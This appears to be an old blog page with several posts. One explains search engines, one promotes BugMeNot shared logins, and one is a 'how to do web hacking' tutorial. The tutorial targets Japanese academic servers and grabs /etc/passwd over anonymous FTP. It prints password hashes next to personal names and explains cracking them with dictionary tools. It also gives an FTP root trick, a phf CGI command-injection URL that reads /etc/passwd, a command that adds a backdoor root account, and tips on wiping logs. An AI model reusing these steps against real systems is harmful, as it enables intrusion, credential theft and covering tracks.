A search engine is an information retrieval system designed to help find information stored on a computer system. Search engines help to minimize the time required to find information and the amount of information which must be consulted, akin to other techniques for managing information overload.
While researchers and developers take a broader view of IR systems, consumers think of them more in terms of what they want the systems to do — namely search the Web, or an intranet, or a database.
Search engines match queries against an index that they create. The index consists of the words in each document, plus pointers to their locations within the documents. This is called an inverted file. A search engine or IR system comprises four essential modules:
* A document processor
* A query processor
* A search and matching function
* A ranking capability
While users focus on “search,” the search and matching function is only one of the four modules. Each of these four modules may cause the expected or unexpected results that consumers get when they use a search engine.
Read detailed abt this on - www.infotoday.com/searcher/may01/liddy.htm
The term “search engine” is often used generically to describe both crawler-based search engines and human-powered directories. These two types of search engines gather their listings in radically different ways.
Crawler-based search engines, such as Google, create their listings automatically. They “crawl” or “spider” the web, then people search through what they have found.
If you change your web pages, crawler-based search engines eventually find these changes, and that can affect how you are listed. Page titles, body copy and other elements all play a role.
A man-powered directory, such as the Open Directory, depends on humans for its listings.
You submit a short description to the directory for your entire site, or editors write one for sites they review. A search looks for matches only in the descriptions submitted.
Changing your web pages has no effect on your listing. Things that are useful for improving a listing with a search engine have nothing to do with improving a listing in a directory.
The only exception is that a good site, with good content, might be more likely to get reviewed for free than a poor site.
“Hybrid Search Engines” Or Mixed Results
In the web’s early days, it used to be that a search engine either presented crawler-based results or human-powered listings. Today, it extremely common for both types of results to be presented. Usually, a hybrid search engine will favor one type of listings over another.
For example, MSN Search is more likely to present human-powered listings from LookSmart.
However, it does also present crawler-based results (as provided by Inktomi), especially for more obscure queries.
The Parts Of A Crawler-Based Search Engine
Crawler-based search engines have three major elements. First is the spider, also called the crawler. The spider visits a web page, reads it, and then follows links to other pages within the site. This is what it means when someone refers to a site being “spidered” or “crawled.” The spider returns to the site on a regular basis, such as every month or two, to look for changes.
Everything the spider finds goes into the second part of the search engine, the index. The index, sometimes called the catalog, is like a giant book containing a copy of every web page that the spider finds. If a web page changes, then this book is updated with new information.
Sometimes it can take a while for new pages or changes that the spider finds to be added to the index. Thus, a web page may have been “spidered” but not yet “indexed.” Until it is indexed — added to the index — it is not available to those searching with the search engine.
Search engine software is the third part of a search engine. This is the program that sifts through the millions of pages recorded in the index to find matches to a search and rank them in order of what it believes is most relevant. You can learn more about how search engine software ranks web pages on the aptly-named How Search Engines Rank Web Pages page.
Major Search Engines: The Same, But Different
All crawler-based search engines have the basic parts described above, but there are differences in how these parts are tuned. That is why the same search on different search engines often produces different results. Some of the significant differences between the major crawler-based search engines are summarized on the Search Engine Features Page.
How Search Engines Rank Web Pages
its too big to post so check the link..
searchenginewatch.com/showPage.html?page=2167961
ok now i think its enough on intro part.. now posting links to refer..
Nice animated explaining How SEARCH ENGINE works..
http://www.learnthenet.com/ENGLISH/animate/search.html
Read what wikipidea says about SEARCH ENGINE and WEB SEARCH ENGINE..
http://en.wikipedia.org/wiki/Search_engine_%28computing%29
http://en.wikipedia.org/wiki/Web_search_engine
A very well posted difference between Google, Yahoo and Ask.. also explaining major technical related stuff associated with SEARCH ENGINE..
also look for Recommended things in the site while making or using a SEARCH ENGINE..
http://www.lib.berkeley.edu/TeachingLib/Guides/Internet/SearchEngines.html
A very detailed tutorial.. and specifically abt SPIDERS
http://www.webreference.com/content/search/how.html
http://www.monash.com/spidap4.html
A step by step understanding
1. Introduction to How Internet Search Engines Work
2. Looking at the Web
3. Building the Index
4. Building a Search
5. Future Search
6. Lots More Information
7. See all Internet Basics articles
http://computer.howstuffworks.com/search-engine.htm
That’s all.. I hope all of u can understand SEARCH option in better way now.. use it
The Search Engines ability to find corrections is with the help of a function called “levenshtein”.
The function can take two strings as parameter and calculates just the number of insert, replace and delete operations needed to transform one string to another.
soundex and metaphone are two other similar functions.
http://in.php.net/manual/en/function.levenshtein.php
Wednesday, October 1, 2008
Hack free registrations
Do you really get annoyed when asked for FREE REGISTRATIONS by many websites without which you cannot proceed further? Everyone who uses internet regularly must have faced this and must be knowing how annoying this is. Registering means, you have to give your personal details, which can result in SPAM, Promotion emails, Identity Theft etc.
Now here’s a site which can solve this problem, BUGMENOT.
Here are 5 simple steps to use Bugmenot as described on its tutorial page :
STEP 1: Make a note of the website address your are trying to access. For example:
http://www.nytimes.com/cnet/CNET_2100-1024_3-5567274.html
Or even just:
www.nytimes.com
STEP 2: Visit Bugmenot
STEP 3: Enter the address from step 1 into the box and press the “Get Logins” button
STEP 4: You should now be presented with at least one username and password. Make a note of them.
STEP 5: Go back to the site you were originally trying to access in step 1 and proceed to login with the username and password you noted in the previous step.
Bugmenot is very helpful if you don’t want to get spammed or give your personal details and it also saves a lot of time.
Moreover, Bugmenot also provides an option for site owners to block their site from the Bugmenot database, if they match one or more of the follow criteria
1. A community site where users register to change content, but not to view it.
2. The site is pay-per-view.
3. There is a fraud risk associated with the site due to accounts containing private financial information .
How to do web hacking
First of all you will need an ftp program such as ws_ftp. I use Voyager FTP downloadable at http://www.windows95.com/ it’s real simple and easy to use, so try it if you haven’t dealt with ftp before. Now once you have the program find an address like http://www.shiga-pc.ac.jp you can find addresses like this by going to a search engine such as AltaVista or Google and running a search for url:ac.jp this tells the search engine to give you all the academic addresses in Japan ex. ac=academic jp=Japan , you can try this with any country ex. url:dk . But for now let’s just focus on the Japanese servers. When u have an address (I would recommend making a list of about 100 and trying them all) go to your ftp program and type in the address ex. http://www.shiga-pc.ac.jp note.. You will have to log in anonymously. You should then get a list of folders on the remote system usr, pub,etc, dev, bin. See the etc folder? open it, once opened you should see some files passwd and group, open or view the file passwd (this is where the passwords for the system are stored), you should hopefully get something
that looks like this:
root:RqX6dqOZsf4BI:0:1:System PRIVILEGED Account,,,:/:/bin/csh
field:PASSWORD HERE:0:1:Field Service PRIVILEGED Account:/usr/field:/bin/csh
operator:PASSWORD HERE:0:28:Operator PRIVILEGED Account:/opr:/opr/opser
ris:Nologin:11:11:Remote Installation Services Account:/usr/adm/ris:/bin/sh
daemon:*:1:1:Mr Background:/:
sys:PASSWORD HERE:2:3:Mr Kernel:/usr/sys:
bin:PASSWORD HERE:3:4:Mr Binary:/bin:
uucp:Nologin:4:1:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico
uucpa:Nologin:4:1:uucp adminstrative account:/usr/lib/uucp:
sso:Nologin:6:7:System Security Officer:/etc/security:
news:Nologin:8:8:USENET News System:/usr/spool/netnews:
sccs:PASSWORD HERE:9:10:Source Code Control:/:
ingres:PASSWORD HERE:267:74:ULTRIX/SQL Administrator:/usr/kits/sql:/bin/csh
rlembke:n25SO.YgDxqhs:273:15:Roger Lembke,,,:/usr/email/users/rlembke:/bin/csh
rhuston:ju.FWWOh0cUSM:274:15:Robert Huston,st 304c,386,:/usr/email/users/rhuston:/bin/csh
jgordon:w4735loqb8F5I:275:15:James.”Tiger” Gordon:/usr/email/users/jgordon:/bin/csh
lpeery:YIJkAzKSxkz4M:276:15:Larry Peery:/usr/email/users/lpeery:/bin/csh
nsymes:lSzkVgKhuOWRM:277:15:Nancy Symes:/usr/email/users/nsymes:/bin/csh
llembke:yDAq2xZgzqmms:278:15:Linda Lembke:/usr/email/users/llembke:/bin/csh
grees:eb2pQcYI0Q5UI:279:15:Gary Rees:/usr/email/users/grees:/bin/csh
nreece:NiwrmCHzn5p7A:281:15:Neva Reece:/usr/email/users/nreece:/bin/csh
delliott:8Q1O1LukmfXfA:283:15:Dan Elliott:/usr/email/users/delliott:/bin/csh
erobinet:vGufhYNuhkTZ6:284:15:Eric Robinette:/usr/email/users/erobinet:/bin/csh
mhirsch:0AgYY2.YBLj8Y:285:15:Michael Hirsch:/usr/email/users/mhirsch:/bin/csh
schristi:yckqD6acrG2OM:289:15:Scott Christianson:/usr/email/users/schristi:/bin/csh
pdrummon:39MW8ROgoY.T6:294:15:R.Paul Drummond:/usr/email/users/pdrummon:/bin/csh
dbrown:fmTUonryY2mCE:295:15:Doris Brown:/usr/email/users/dbrown:/bin/csh
This means you’ve hit the jackpot, in this case you should get a password cracker download one at (http://www.hackersweb.com go to the hacking toolz section), I would recommend for the beginning hacker to get a password cracker such as killer cracker because it’s extremely easy to use. Once you have downloaded killer cracker you will need a dictionary file
(get one at http://www.hackersweb.com look in the extra toolz section), dictionary files are better the bigger they are so I would recommend (Basically this is a brute-forcing software)
getting one at around 10 MB or more. Now the passwords from the passwd file off the server you are hacking, you will need to save them to a file and place them in the same directory as Killer Cracker, you will also need to have your dictionary file in the same directory. Now you are ready to go, just run killer cracker and tell it the name of the Pwfile=the password
file and the name of the word file=your dictionary file, the valid file will be the file where the output of the password cracker will be put just give it a name such as crack.txt. Once the cracker is done cracking the password files for you goto the valid file and take a look the file should look something like this
root:root:0:1:System PRIVILEGED Account,,,:/:/bin/csh
The Introduction on how to hack a website.
(remember this is an example). This file says that the username is root
and the password is rootif the file had been like this.
root:dumbass:0:1:System PRIVILEGED Account,,,:/:/bin/csh
(remember again just an example) the login or username would be root and
the password would be dumbass, well that’s it just ftp to the site using
the login and password. Note if you get root type in the following once
you have logged in:- echo “myserver::0:0:Test User:/:/bin/csh”>>etc\passwd
this will allow you to login to the server with 1:myserver so you
get the admin suspicious when they see people login as root. Hide yourself
as much as possible, if you already have a shell then go through that first
when loggin on, or telnet to the hacked site shell and then re-telnet to the
hacked shell using the hacked shell, if you see what I mean, so your who
appears as local host. Also get some c scripts which delete your presence,
erases you off logs etc.
Now if you were not as lucky to get exactly the same password file as shown
in the example above then maybe you got something like this.
root:*:0:1:Operator:/:
ftp:*:53:53:anonymous ftp:/pub:
t2:*:201:201:Takaoka Tadashi:/pub:
This means that the passwd file is shadowed, if this is the case then
welcome to the administrators world of trying to stop hackers, this is
where you cant really do anything. However there is one thing to do
sometimes in very rare cases there may be a folder on the remote system
that can be accessed by an anonymous login called shadowed, shadow, or
secret if this is the case the password files should be in there,
congratulations. If there isn’t a folder like this, and the passwd file
is shadowed then bad luck, go to the next address on your list.
Now that you have tried the first thing as shown above there are a couple
of other methods you may also want to try one is FTP hacking shown below.
Go to a dos prompt after you are connected to the internet .
Type.
ftp www.victim=the site address
server will ask for a username press enter
server will ask for a password press enter
at the prompt type quote user ftp
then type
quote cwd ~root
then type
quote pass ftp
If you get in make sure you delete the log file they might look at it and
see that you were on. Once you get on the passwd file is in etc/passwd so
type cd etc then type get passwd. If you have done the above right and the
server is old you will have root access. By the way root is the highest
security status you can have.
Another good way of getting root or a shell at least is through browser
hacking. Again well use Japanese educational servers as our target. To do
this you will need a browser such as Netscape or Internet Explorer, you
will also need a telnet program, you can either download a telnet program
at http://www.windows95.com or use the one that already comes with dos.
To access the telnet program that comes with dos go to your dos windows and
type in telnet www.site.com the site.com stand for the site you want to
telnet to, it could be anything like www.geidai.ac.jp or www.tulips.tsukuba.ac.jp. You will also need a cracker program I would recommend using Killer Cracker and applying as above.
Next thing you do is open your browser and run a search for url:ac.jp ,
like explained above. Again I would recommend making a big list of your
targets. Now when you have your targets we address type it in your browser
and add this to it.
http://www.tagetgoeshere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
or
http://www.tagetgoeshere.com/cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd
To all you out there who are slightly advanced, I know this is the phf
technique and it is virtually dead, but you’ll be surprised where you can
use this.
This technique of finding the password file was first used in November 1996
on the fbi.gov webpage by a few hackers. It has been patched up by a lot of
servers, so this won’t work on something like www.nasa.gov or most of the
www.*.com sites. But still works on many university servers outside Europe
and the U.S.
O.K. Once the url is entered you will see a number of things:-
Error 404
Cgi-bin/phf is not found on this server (the most common one)
Or
Warning
You do not have permission to view cgi-bin/phf?/ on this server
There are a number of other things the server might say, but the thing you
want it to say is this:-
Query Results
/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd
root:2hjh34b4hj:0:1:0000-Admin(0000):/:/bin/sh
daemon:fghfhijyjk:1:1:0000-Admin(0000):/:
bin:fghfed7tfndgh:2:2:0000-Admin(0000):/usr/bin:/bin/csh
sys:fdn7:3:3:0000-Admin(0000):/:
adm:dehf6:4:4:0000-Admin(0000):/var/adm:
wnn:dfhfnv:5:5:0000-Admin(0000):/var/adm:
news:detdc:6:6:0000-Admin(0000):/usr/lib/news:
lp:qwwos:71:8:0000-lp(0000):/usr/spool/lp:
smtp:cmvof:0:0:mail daemon user:/:
uucp:lcocbe:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:pelebd:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:eoend:37:4:Network Admin:/usr/net/nls:
nobody:ccvjcvj:60001:60001:uid no b
etc.
This means you have hit the jackpot!!!
If you get something similar to this but all lines have something in common
like the following:-
Query Results
/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd
root:x:0:1:0000-Admin(0000):/:/bin/sh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:/bin/csh
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
wnn:x:5:5:0000-Admin(0000):/var/adm:
news:x:6:6:0000-Admin(0000):/usr/lib/news:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no b
(notice the c) if you don’t know what this means it means the password
file is shadowed and you cannot work out ht epasswords for a shadowed
password file then you’re in bad luck, I would recommend trying the ftp
hack prior to this for the best results.
If some but not all logins have a * in them then it’s ok, it’s worth while
getting the ones which aren’t shadowed, hey a shell is a shell!!!
If you want to use your newly acquired shells then telnet to the site and
put in the login and the password (remember you have to crack the password
file first explained at the top).
improve your Hack Skills
Refining Hack Skills
Here are some websites that shall help you. Not all sites listed here will make you the ultimate hacker finally, but shall help you towards your goal
http://www.freestuffhotdeals.com/hacker/1.html
Just a site to test your GK. But. Try using
www.hack-test.com
Hmm.. Gives you the positive energy to move forward to your goal. Not exactly hacking. But something close to that. Google powers
www.hackthissite.org
The real beginning. Refine skills as a Beginner. Very Effective.
www.hellboundhackers.com
One step ahead. Things look tough and creepy.
www.corruptcode.com
Hmmm.. Not that Easy. Things look not that bad. Good site design
There are many other websites that will give you access to information about the subject we r discussing.
I shall post more later.
Hope these websites help.
Njoyyyyyyyyyyyyyyyy
Monday, September 29, 2008
Subscribe to:
Posts (Atom)